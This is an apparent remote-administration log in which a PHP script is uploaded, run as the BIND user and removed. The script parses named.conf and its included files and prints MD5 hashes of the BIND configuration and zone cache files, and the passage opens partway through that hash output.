MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:27:46: Establishing a connection
2026-04-24 19:27:46: 

PUT: /tmp/pkp647961

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:27:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp647961; rm /tmp/pkp647961'

2026-04-24 19:27:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
